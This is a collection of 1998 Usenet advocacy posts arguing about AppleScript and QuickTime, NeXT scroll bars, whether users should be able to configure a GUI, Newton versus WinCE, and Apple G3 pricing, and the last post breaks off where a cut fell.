References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <rmcassid-0104981001030001@dante.eng.uci.edu> <6fudoa$nqe$1@crib.bevc.blacksburg.va.us> <rmcassid-0104981421190001@dante.eng.uci.edu> <slrn6i6bg4.j6l.sal@panix3.panix.com> <rmcassid-0204980855490001@dante.eng.uci.edu> <6g0b94$3a8$3@ns3.vrx.net>
Xcanpos: shelf.01/199804150601!0044045882
In article <6g0b94$3a8$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <rmcassid-0204980855490001@dante.eng.uci.edu> rmcassid@uci.edu claimed:
>> But QT brings *so* much more than that - codecs, time syncronization
>> through tracks, lots of stuff. Better to shove AS into QT and be done with
>> it.
>
> Yeah, BUT. Is the right way to do this to shove AS into QT, or just make
>AS really QT smart (or vice versa I suppose). The AS object model should
>allow QT to export all of this information so you can ask it for "the first
>picture track of the third movie" or something like that and then work with
>it.
I think the two are fundamentally different. The advantage to AS in QT is
that scripts can then be time keyed or action keyed. That is, you could
have a script that executes 5.3 seconds after a certain action or have a
script that is executed after a certain event happens - sprite gets to a
certain place, object gets rotated to a certain orientation, whatever. You
could do it the other way around but it'd be far more complicated, IMO.
I don't see the two as mutually exclusive, however. I want both.
> Sure speed is a serious issue, but I think that AS is about to get a LOT
>faster, and if so then maybe you just put in the bytecode interpreter and
>leave the "engine" outside? That way scripts could be put into movies as a
>"track" in the same way that you can put scripts into attachable apps, and
>they'll run on anything with QTML. But if you want to _edit_ them you need
>the full blown AS server, under YB.
It's not speed but being time aware. QT is, in effect, a real-time mini
OS. That's a big difference. Leaving the engine outside - making the
resulting movie YB dependent? No, due to the new licensing costs for QT I
think that would be a bad idea. For editing sure, but not for playback.
I think QT will have scripts as tracks. The question is, what kind of
scripts - Hypertalk or AS? Editing would require YB.
>> That's not to say that a lot of other problems couldn't be solved by AS+IB
>> Lite but interactive time-keyed streaming multimedia could be a very, very
>> big market for Apple.
>
> Sure, but I'm personally more interested in the other things. Hell, I'd
>love to get my hands on it so I could add it to our app.
Personally I'm more interested in other things too, but as a stockholder I
suddenly have new interests...
>> BTW, I *do* want AS+IB lite - I have it right now, sort of, in FaceSpan.
>
> Yup. My only complaint is that when I needed it, the company I worked for
>balked at the price. It's too much money for many apps - although I firmly
>believe Apple should bundle it and Scripter with ever Mac sold.
It is a bit pricy - but really worth it based on the kinds of results that
you can get. I suppose the 'VB is cheaper' argument comes out - but it's a
pointless argument. You pay based on results, not based on what the other
guy pays.
> Yeah, that's true, maybe it does need two tools. I just look at them being
>so close that two seems odd.
Well, AS's embedded in tracks and AS being QT super-aware + IB would
pretty much handle it. I don't think they are at odds with one another,
rather there is a bit of redundency that could be very useful.
-Bob Cassidy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 10:59:36 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <6g0cl8$p6f$1@crib.bevc.blacksburg.va.us>
References: <6e6jl3$csu$3@ns3.vrx.net> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu> <35234D04.18B5F492@nstar.net>
Xcanpos: shelf.01/199804141801!0041397292
In article <35234D04.18B5F492@nstar.net>, "Michael J. Peck" <mjpeck@nstar.net> wrote:
> But you should understand that it's really a silly thing. Who cares
> where they are, except based on what you're used to?
Well, actually, I do. I used right-handed scrollbars for a long time
before I got NEXTSTEP, and I just about instantly changed my mind as
soon as I tried them on the left-hand side. Along with all the other
arguments about being able to position windows halfway off the screen,
etc., they just feel better to me when they're aligned near where I'm
looking (which is usually the left-hand side).
This is probably something that just varies from person to person. It
should be a Preference.
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Thu, 02 Apr 1998 14:12:13 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0204981412130001@dante.eng.uci.edu>
References: <rmcassid-0204980955590001@dante.eng.uci.edu> <B1494835-10C21@206.165.43.94>
Xcanpos: shelf.01/199804150601!0045575665
In article <B1494835-10C21@206.165.43.94>, "Lawson English"
<english@primenet.com> wrote:
>rmcassid@uci.edu said:
>
>>
>> Sometimes you just end up on the wrong end of cutting edge. Newton could
>> never really compete long-term with WinCE because of WinCE's ties to
>> Windows. No amount of marketing can overcome that.
>
>Excuse me?: WinCE wasn't even vapor for several years after NewtonOS was
>released and Apple had ALL of that time in which to establish NewtonOS's
>dominance and they blew it. That's the most incredible case of revisionism
>that I've ever seen, Robert.
It's not revisionism if you are looking forward. I honestly couldn't give
a damn about past marketing blunders of the Newton. No matter what, WinCE
*still* would come in and knock it on it's ass. The reason being that it
opened up the PDA market to a whole class of people that never considered
it before based on the promise of code reuse. NewtonOS could never offer
that no matter how well it was marketed. It's not a look *back* on what
did happen, rather a prediction of what would happen regardless of
NewtonOS's position.
>WinCE wasn't a contender in this market and
>likely wouldn't be now if NewtonOS had been marketed properly.
WinCE was a contender as many developers don't even see the Pilot as a
competitor. WinCE is an extension of Windows, not a competitor in the PDA
market. *That* is part of the perception. *That* is what MS will use to
get a position in the market. All of a sudden there is this huge grey area
between a PDA and a laptop that can be filled, and only MS can fill it
right now. It'll be used to knock the NC and JavaOS on it's ass in this
market.
-Bob Cassidy
From: float@interport.net
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Date: 2 Apr 1998 11:54:25 -0500
Organization: Interport Communications Corp.
Message-ID: <6g0fs1$hng$1@interport.net>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net> <35239B51.2D38@be1151.pd3.ford.com> <slrn6i7f86.feq.danielt@thranx.dgii.com>
Xcanpos: shelf.01/199804142201!0018999165
Daniel Taylor (danielt@thranx.dgii.com) wrote:
: Many commercial Unix's use utilities derived from the GNU utilities
: that form the foundation of Linux's userspace, and the FSF's glibc
: is pretty close to an industry standard, as is their C compiler.
Who uses glibc besides Linux?
: So Unix is not Linux.
: --
: Daniel Taylor
--
Ben
<Just Another System Administrator>
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 17:41:44 GMT
Organization: The Vast Right Wing Conspiracy
Message-ID: <6g0iko$esc$1@usenet52.supernews.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <6fvgu2$76q@crcnis3.unl.edu> <3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net>
Xcanpos: shelf.01/199804142201!0024917043
In article <3523C37E.614550BA@nstar.net>,
Michael J. Peck <mjpeck@nstar.net> wrote:
>> As to Mike's other complaints, the way I see it is that he has his
>> own 'view' of a system (he even says so), and when he first worked
>> with NEXTSTEP, this view didn't fit in any way with the way
>> NEXTSTEP worked, os, of course, `nothing worked'.
>
>Okay, fine. Is it just impossible for anybody to actually *EXPLAIN* what
>this odd new view is, or do you have to pick it up by osthmosis?
NeXT did not view itself as a Unix vendor, and so felt no particular
compulsion to Do Things The Unix Way. Netinfo was the major result
of this mentality; it's pretty nice, and you can set up machines
with a minimum of hassle, but it's also a change from what Unix people
are used to. ("I edited my passwd file, but it's acting like I
didn't.") They were also behind the times in things like sendmail
and other unix utilities.
Another byproduct of that was shipping without man pages in the
user version. Why would users interested in productivity apps
and MCCAs in a GUI environment want to find out about the switches
on ls?
For someone coming to the box from the PC or Mac environment, it
was probably a correct way of thinking. Learning the new things
required to run a NeXT box was probably much less of a hassle
than learning about X, NIS or NIS+, and all the rest. Someone
coming to it from a Unix environment would probably be offended
that some of the mental models they had for working with Unix
boxes didn't apply to NeXTs.
I hope that the market for Rhapsody will be big enough for Apple
to pay attention to the needs and wants of Unix propellerheads.
(They really have two markets they're selling to: people interested
in a unix box, and people interested in a GUI productivity app
box.)
--
Don McGregor | "Take that, you hostile SOB!"
mcgredo@mbay.net | --The President's Analyst
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net> <3523c19a.0@206.25.228.5> <3523C702.B22B2BDB@nstar.net> <3523d4b9.0@206.25.228.5> <35241967.7F23E2F0@nstar.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35244e86.0@206.25.228.5>
Date: 3 Apr 98 02:50:46 GMT
Xcanpos: shelf.01/199804150601!0050304375
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> John Kheit wrote:
> > Not really. I'm sure I did as little as possible to convey my
> > meaning. The NeXTSTEP UI, in my opinion, tries to make a UI
> > to work as well as possible for everyone. Of course, on an
> > individual level, it will piss everyone off in some way or
> > another. In my opinion, it pisses everyone off in sum total,
> > less than any other
> Naw, I don't really buy it. Maybe to one person, or a small group
I don't expect you to buy it. You're a "have it my way" kind of
guy.
> of people (the NeXT market?) it seems just about right, but the
> classic second part of the 90% solution is this: "you don't like
I already said, the NEXTUI is not a 90% solution. I think the
NEXTUI pleases no more than 50% of the people. There's a difference
between saying that 90% of the people are pleased vs. less people
are pissed. For example, let's say 90% of windows users are pleased
with the UI (please, it's a hypothetical). Further, let's assume
there are 10million users of both windows and the NEXTUI (I know
that's not even close to accurate, it's just for illustrative
purposes). Now 10% of windows users are so pissed they self-mutilate,
bomb school children, abuse animals, threaten world peace, etc.
That's a *lot* of *very* pissed people. That 10% results in let's
say 1 million pounds of bad karma. Now, let's say under the NEXTUI
only 50% of the people are pleased, but those displeased, are
generally just annoyed with it; sure, you have a stray person here
and there go postal too, but this is for sake of argument. In
total, let's say the NEXTUI causes 100lbs of bad Karma. So, overall,
the NeXTUI sucks less, although the winUI is enjoyed more broadly.
Do you see the distinction I'm aiming for?
> But the arrogance of NeXT was that it believed nobody of any
> value would dislike its uppermost layers, unto perpetuity, so it
> rolled everything into one ball of wax.
Well, I certainly won't defend arrogance. On the other hand, I'm
making an argument that "yes, I know people will dislike the upper
layers, but in general this is the least offensive solution to the
broadest spectrum of people, and will prevent them from diddling,
and thus prevent a drag on overall productivity."
> > I am not a proponent of 90% rule in this case. The problem
> > with pleasing 90% of the people's needs 90% of the time is that
> > will require them the ability to diddle, i.e. customize.
> So allow them the ability.
Why? If I'm the boss of a corporation, I don't want to offer my
employees the ability to diddle. It wastes *my* money.
> > I am in a minority position that believes that this placating
> > of their fancy is an overall hinderance upon productivity.
> So giving an overwhelming majority of people what they want an
> overwhelming majority of the time is wrong, because it might
> require allowing them to do things you can't possibly provide
> for. This sounds like the basis for modern American politics.
I haven't a clue what your point is. Mine is I don't want people
diddling when I'm paying them to work. A UI that doesn't afford
my employees the opportunity to diddle, yet is generally tolerable,
is a more attractive solution to one that pleases 90% of the users
yet let's them goof off while I foot the bill.
> > So I might even like an OS, that pisses off 90% of the people
> > if they are 200% more productive on it.
> See, here's where I can't understand you. I'm talking about
> configuration as an influence on productivity. But you see
> configuration as "diddling", something that affects "how much a
> UI pisses somebody off.", something that can scale inversely with
> productivity. Two totally different definitions.
I don't understand what you mean. I posit that the ability to
configure things hurts productivity. That if people can, they
generally will make configurations on an ongoing basis. They will
do it over and over when they could be doing other more productive
things.
> > Well, that's fine Mike, but that's what people generally do
> > with the ability to customize. They waste time. That you
> > don't is a credit to you. You are a better person than me.
> > I'm one of the people you despise. Because, I know when I'm
> > offered the ability to diddle, I inevitably will take it up.
> > Under win95, I tried to make things more monotone, and made
> > the fonts, so, and the scrollers so. And after a while I think,
> > hmm, maybe they would be better this way. And, hey, wouldn't
> > this set of icons be more subtle and refined. And I waste
> > time. Heck, I wish I had a GUI decorator!
> Well, that's okay, I try not to hire lawyers in the first place.
That doesn't bother us at all when we sue you.
> > Maybe it's harmless time. Maybe I would have just spent that
> > time daydreaming. I don't know. But I do know that the
> > *majority* of people do it. That there are exceptions, doesn't
> > disprove the general case. And that's my general *corporate*
> > argument against customization. That as a net sum game, it
> > causes a greater loss of productivity than is gained.
> Again, the difference between *decoration* and *configuration*
> is relevant, here. I hate when people waste time decorating their
> UI. I think it's great when somebody builds a little Tk program
> that helps monitor td statistics or sets up a window in their
> environment to notify them of console messages. These are totally
> antithetical to the concept of *decoration*.
Making an app that does those things is totally doable under any
GUI. You write an app. That's not GUI configuration, that's app
creation. Further, changing scrollbar size is a substantive change.
Changing the position of the taskbar is substantive. It's to make
it easier to access, not for aesthetic purposes. Yet people are
constantly changing them.
> Let me give you a close-to-home example: my officemate has his
> FvwmGoodStuff thingamajig *excruciatingly* configured to provide
> just the right series of tools and information windows for his
> needs. He spent a lot of time setting it up, but it's very helpful
> to him every day, and it increases his productivity in very
> significant ways.
This doesn't state how he configured the GUI. I have my environment
configured with just the right series of tools and information
windows for my needs too. It's very helpful to me every day. It
increases my productivity in very significant ways too. Yet I
didn't have to configure my GUI to be any different.
[Perwinkle example snipped and agree that it's a time sink]
> Now you tell me whether that's a difference you can acknowledge.
I can't, I don't see what the person in the first example did.
The latter, a person configures the GUI with decorative stuff. If
in the prior that person put out a Perfmeter, and some console
stuff, I don't see how that is GUI configuration. It seems to me
that you're just putting apps in certain areas of the screen to
give you feedback.
> > That a good UI "decorator" can make a general case for the vast
> > majority of people in which they will be more productive if
> > they are not afforded the opportunity of customization; regardless
> > of the level of substance or triviality. Just my experience
> > and observations. Yours clearly differ.
> No. I think we agree on the concept of decoration. But I don't
> think you've yet discussed the matter of *configuration*.
I don't see the distinction you're trying to draw. I'm being real
clear, I think. The ability to configure the GUI is a time sink.
If you afford people the opportunity to configure the GUI, they
will waste lots of time doing it.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
References: <B1494FA4-42091@204.210.20.147>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35244fdb.0@206.25.228.5>
Date: 3 Apr 98 02:56:27 GMT
Xcanpos: shelf.01/199804150601!0050314606
"William V. Campbell Jr." <wcampbe1@san.rr.com> wrote:
> Hey guys, take a hint. Rhapsody *is* for the open minded, not
> for the Kenneth Kinders, Rex Rileys et al. of the world. If he
> has no need for it and no desire to try it once it hits the
> streets, why try to convince him otherwise. ( Although I must
> admit that I have learned a lot from these exchanges and they
> are sometimes very entertaining).
I disagree, Rex is pretty open minded. Assuming you use the macOS
or windows only, he's likely much more open minded than you. He
bought into NeXT for crikies sake. A little niche pimple on the
ass of a gorilla platform and gave it it's fair shake. If your
claim to open minded fame is getting on board the Rhapsody train,
a huge platform by comparison, then I'd say you don't have any
credibility relatively. I can't speak for Rex, but I think he
hopes Rhapsody does well. On the other hand, I think he hopes that
Apple doesn't repeat every mistake it's made in the past. Being
critical in the hopes of improving things seems to be something
good for all involved. Not accepting valid criticisms seems more
a hallmark of closed thinking, at least to me. YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 2 Apr 1998 10:18:28 -0800
Organization: Sierra On-Line, Inc.
Message-ID: <6g0kql$gc7@yobi.sierra.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu> <35234D04.18B5F492@nstar.net> <3523BE4D.1511@be1151.pd3.ford.com>
Xcanpos: shelf.01/199804142201!0032331766
Aaron R Kulkis wrote in message <3523BE4D.1511@be1151.pd3.ford.com>...
>
>If they were on the top/left, rather than bottom/right, you
>would do less mouse-motion
And if you have a MS Intellimouse, you could scroll the window up or down
without even moving the mouse.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 18:32:01 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3523D9A1.80009B7C@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <350ce48e.0@maser.urz.unibas.ch> <6eirc9$54j$4@ns3.vrx.net> <350D7C4F.D69@convex.hp.com> <6ejfi1$jst$3@ns3.vrx.net> <350DCA12.2722@convex.hp.com> <slrn6grv2b.hto.sal@panix3.panix.com> <350E4078.D8B6B744@nstar.net> <slrn6gt9te.r9f.sal@panix3.panix.com> <350EB950.2ABAE182@nstar.net> <slrn6hcab8.94c.mbkennel@lyapunov.ucsd.edu> <3517D44B.A05944BE@nstar.net> <slrn6hg6kg.kjn.sal@panix3.panix.com> <351824A0.3723@nstar.net> <slrn6hh8u3.57m.sal@panix3.panix.com> <3518B383.49A1D749@nstar.net> <slrn6hj304.e9k.sal@panix3.panix.com> <3519C41D.2B9F@nstar.net> <slrn6hnmtr.5p.sal@panix3.panix.com> <351BE06A.68849F9B@nstar.net> <slrn6ho882.mlr.sal@panix3.panix.com> <351d6202.0@nnrp1.news.uk.psi.net> <slrn6i2gsk.a5o.sal@panix3.panix.com> <6frnos$e4s$1@cronkite.cygnus.com> <3521DC87.5515B046@nstar.net> <slrn6i6e1v.j6l.sal@panix3.panix.com> <3523444C.1418465B@nstar.net> <slrn6i7lum.kjl.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Xcanpos: shelf.01/199804142201!0035377934
Salvatore Denaro wrote:
> On Thu, 02 Apr 1998 07:54:52 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
> >I don't come into this group playing devil's advocate and bashing
> >Rhapsody on specious grounds, so I don't know what you mean.
>
> Do you have Rhapsody? Have you used Rhapsody? Have you developed under
> Rhapsody?
No, no, and...uh...no. And without any further ado, your point!
_____________________________ (fill in point here)
> >You have Linux experience, so I entertain discussions of X with you. But
> >you really go overboard when you start asking "What, in your words, is
> >xlib?"
>
> I did that because you kept changing your definition of what X is. On an
> almost artivle by article basis.
No, that's not true. Actually, your supposed understanding of X was what
changed on an article-by-article basis. You're the one who claims X
experience, but you can't understand any of the lexicon I've been using.
In reply you accuse me of shifting definitions. To that I say, if you
understood the topic of the conversation in the first place, you
wouldn't need MY definitions.
MJP
From: gierkeNOSPAM@delaware.infi.net (Patrick W. Gierke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Thu, 02 Apr 1998 21:45:01 -0500
Organization: Irish, and damn proud of it!
Message-ID: <gierkeNOSPAM-0204982145010001@pm1-65.ile.infi.net>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <stevehix-0204981626580001@ip43.safemail.com>
Xcanpos: shelf.01/199804150601!0055843024
In article <stevehix-0204981626580001@ip43.safemail.com>, stevehix@safemail.com (Steve Hix) wrote:
> In article <slrn6i6f4f.j6l.sal@panix3.panix.com>, sal@panix3.panix.com
> (Salvatore Denaro) wrote:
> > On Wed, 01 Apr 1998 04:51:54 -0600, ianb@well.com <ianb@well.com> wrote:
>
> > >I disagree - expansion is a hugely important plus for many users, and the all
> > >in ones don't have enough expansion capabilities to satisfy them.
>
> > The AIO has the same expansion. Apple should kill the Desktop 233 and lower
> > the prices on the other Desktops. The DT266 should be at $1699 with an AV
> > card in order to make it competitive with the AIO.
>
> Well, some people with the 233 might want a bigger monitor than they get
> with the AIO.
Well, if you've got the money to get an even bigger monitor (i'm referring to those 21'' monitors that run up to a grand), pop in another video card and plug it in. Now you got two monitors...
Ignorance is NOT bliss. Keep your mind protected; get the facts.
Patrick W. Gierke
(to reply via email, remove the 'NOSPAM' from the return address)
From: "Timothy Rue" <timrue@mindspring.com>
Newsgroups: comp.sys.acorn.advocacy,comp.sys.atari.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End users, it's time to stand up and be heard!
Date: 03 Apr 98 00:14:05 -0500
Organization: MindSpring Enterprises
Message-ID: <1490.397T261T143691@mindspring.com>
References: <1018.390T1852T7945442@mindspring.com> <351D5E52.2627@yahoo.com> <7026.393T1200T5764246@mindspring.com> <7074.393T484T5883722@mindspring.com> <na.13a39b4830.a40040rmurray@argonet.co.uk>
On 02-Apr-98 16:12:17 Richard Murray <rmurray@argonet.co.uk> wrote:
>In article <7074.393T484T5883722@mindspring.com>, "Timothy Rue"
><timrue@mindspring.com> wrote:
>> I'm an end user who is very fed-up with this game the industry has been
>> playing with itself.
><big snip>
>Convergence International?
Perhaps there potential support to be had from Convergence International.
Playing a part in a bigger picture.
>> What if: Amiga Inc. was to come out with a product that would allow all
>> end users to connect it to their system (platform independant) and thru
>> such a product are able to remove compatability problems?
>Then Amiga users would be different. The rest of us would push for greater
>JAVA compliancy. :-)
Sorry, but there is much more to the compatability and versatility issues
than just software.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*3 S.E.A.S - Virtual Interaction Configuration (VIC) - VISION OF VISIONS!*
*~ ~ ~ Advancing the way we Perceive and Use the Tool of Computers!*
Timothy Rue What's DONE in anything we do?
Email @ timrue@mindspring.com *AI PK OI IP OP SF IQ ID KE*
Web @ http://www.mindspring.com/~timrue/ >INPUT->(Processing)->OUTPUT>v
^<--------<----9----<--------<
Search email/name @ http://www.dejanews.com for other puzzle parts/posts.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Thu, 02 Apr 1998 21:30:20 -0800
Organization: South Valley Internet
Message-ID: <stevehix-0204982130200001@ip30.safemail.com>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <stevehix-0204981626580001@ip43.safemail.com> <gierkeNOSPAM-0204982145010001@pm1-65.ile.infi.net>
In article <gierkeNOSPAM-0204982145010001@pm1-65.ile.infi.net>,
gierkeNOSPAM@delaware.infi.net (Patrick W. Gierke) wrote:
> In article <stevehix-0204981626580001@ip43.safemail.com>,
stevehix@safemail.com (Steve Hix) wrote:
>
> > In article <slrn6i6f4f.j6l.sal@panix3.panix.com>, sal@panix3.panix.com
> > (Salvatore Denaro) wrote:
> > > On Wed, 01 Apr 1998 04:51:54 -0600, ianb@well.com <ianb@well.com> wrote:
> >
> > > >I disagree - expansion is a hugely important plus for many users,
and the all
> > > >in ones don't have enough expansion capabilities to satisfy them.
> >
> > > The AIO has the same expansion. Apple should kill the Desktop 233
and lower
> > > the prices on the other Desktops. The DT266 should be at $1699 with an AV
> > > card in order to make it competitive with the AIO.
> >
> > Well, some people with the 233 might want a bigger monitor than they get
> > with the AIO.
>
> Well, if you've got the money to get an even bigger monitor (i'm referring to
>those 21'' monitors that run up to a grand), pop in another video card and plug
> it in. Now you got two monitors...
Real estate is not always infinite.
Which does you no bloody good if you don't have room for both. Sometimes
the DT and a 17" monitor is a better choice than the AIO with an attached 21".
Cheaper, too.
> Ignorance is NOT bliss. Keep your mind protected; get the facts.
I've been getting an education of late regarding available workspace...my
company's Japanese division has been educating us about a lot of interesting
stuff. (And the subject started out just as documentation formats...)
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Thu, 02 Apr 1998 16:45:35 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0204981645350001@dante.eng.uci.edu>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <stevehix-0204981626580001@ip43.safemail.com>
In article <stevehix-0204981626580001@ip43.safemail.com>,
stevehix@safemail.com (Steve Hix) wrote:
>In article <slrn6i6f4f.j6l.sal@panix3.panix.com>, sal@panix3.panix.com
>(Salvatore Denaro) wrote:
>> On Wed, 01 Apr 1998 04:51:54 -0600, ianb@well.com <ianb@well.com> wrote:
>
>> >I disagree - expansion is a hugely important plus for many users, and
the all
>> >in ones don't have enough expansion capabilities to satisfy them.
>
>> The AIO has the same expansion. Apple should kill the Desktop 233 and lower
>> the prices on the other Desktops. The DT266 should be at $1699 with an AV
>> card in order to make it competitive with the AIO.
>
>Well, some people with the 233 might want a bigger monitor than they get
>with the AIO.
True, but for myself I'd be inclined to buy the AIO, shove a ATI Rage Pro
card in it and add a second 17" monitor. At around $2350, that kicks ass
for authoring and light publishing, not to mention coding and essentially
gets me a free 16" monitor. Compare to $2200 for a G3 with only one 17"
and a slower ATI chipset and the decision is a no-brainer.
I think Sal is correct in thinking that the 233 G3 will go away and the
faster units drop in price somewhat. I don't see the G3 boxes lowering the
bottom-end price any, but I *do* see them as the means to getting a fast
system. Oddly enough, the AIO and the G3's seem to be the same or damn
close to the same logic board so you should be able to offer the AIO and
the G3 in exactly the same configurations.
AIO = marketshare
G3 = profit margins
-Bob Cassidy
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Thu, 02 Apr 1998 21:57:55 -0800
Organization: South Valley Internet
Message-ID: <stevehix-0204982157560001@ip52.safemail.com>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com> <stevehix-0204981626580001@ip43.safemail.com> <rmcassid-0204981645350001@dante.eng.uci.edu>
In article <rmcassid-0204981645350001@dante.eng.uci.edu>, rmcassid@uci.edu
wrote:
> stevehix@safemail.com (Steve Hix) wrote:
> >(Salvatore Denaro) wrote:
> >> The AIO has the same expansion. Apple should kill the Desktop 233 and lower
> >> the prices on the other Desktops. The DT266 should be at $1699 with an AV
> >> card in order to make it competitive with the AIO.
> >
> >Well, some people with the 233 might want a bigger monitor than they get
> >with the AIO.
>
> True, but for myself I'd be inclined to buy the AIO, shove a ATI Rage Pro
> card in it and add a second 17" monitor. At around $2350, that kicks ass
> for authoring and light publishing, not to mention coding and essentially
> gets me a free 16" monitor. Compare to $2200 for a G3 with only one 17"
> and a slower ATI chipset and the decision is a no-brainer.
You've got the desktop real estate, which is nice.
Some people don't have that luxury. (And I would have agreed with you
a few weeks ago, before I got to talk with some members of my company's
Japanese and Asian groups...space can be at a *serious* premium. The subject
that brought the issue up was documentation format, believe it or not.)
> I think Sal is correct in thinking that the 233 G3 will go away and the
> faster units drop in price somewhat.
Sure, processor performance is changing extremely fast right now.
> I don't see the G3 boxes lowering the
> bottom-end price any, but I *do* see them as the means to getting a fast
> system. Oddly enough, the AIO and the G3's seem to be the same or damn
> close to the same logic board so you should be able to offer the AIO and
> the G3 in exactly the same configurations.
>
> AIO = marketshare
> G3 = profit margins
I would be astounded if Apple isn't looking in that direction...
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.tech
Subject: G3, Intel mobile P-II
Date: 2 Apr 1998 20:21:14 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6g0rvq$iqk@newsb.netnews.att.com>
Originator: gupta@tlctest
Xcanpos: shelf.1/199804170201!0013728424
According to the product brief at
